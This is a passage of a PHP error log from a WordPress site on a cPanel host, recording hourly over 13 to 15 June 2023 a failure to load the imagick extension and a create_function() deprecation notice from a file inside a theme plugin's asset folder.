(/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 19:56:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 20:56:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 20:56:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 21:57:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 21:57:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 22:58:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 22:58:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 23:59:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 23:59:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 01:00:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 01:00:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 02:01:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 02:01:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 03:03:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 03:03:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 04:03:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 04:03:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 05:04:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 05:04:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 06:05:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 06:05:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 07:05:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 07:05:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 08:06:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 08:06:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 09:07:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 09:07:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [14-Jun-2023 10:08:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 10:23:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 10:37:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 10:38:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 10:53:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:04:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:08:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:14:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:20:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:24:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:26:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:32:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:39:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:46:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:47:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:54:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 11:55:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:00:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:08:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:09:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:24:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:29:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:40:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:42:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:49:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 12:55:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:05:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:10:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:17:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:25:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:26:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:33:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:41:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:48:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 13:56:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:03:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:11:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:18:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:27:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:31:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:33:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:34:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 14:34:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 20:35:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 20:35:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 21:03:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 02:38:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 02:38:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 03:11:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so 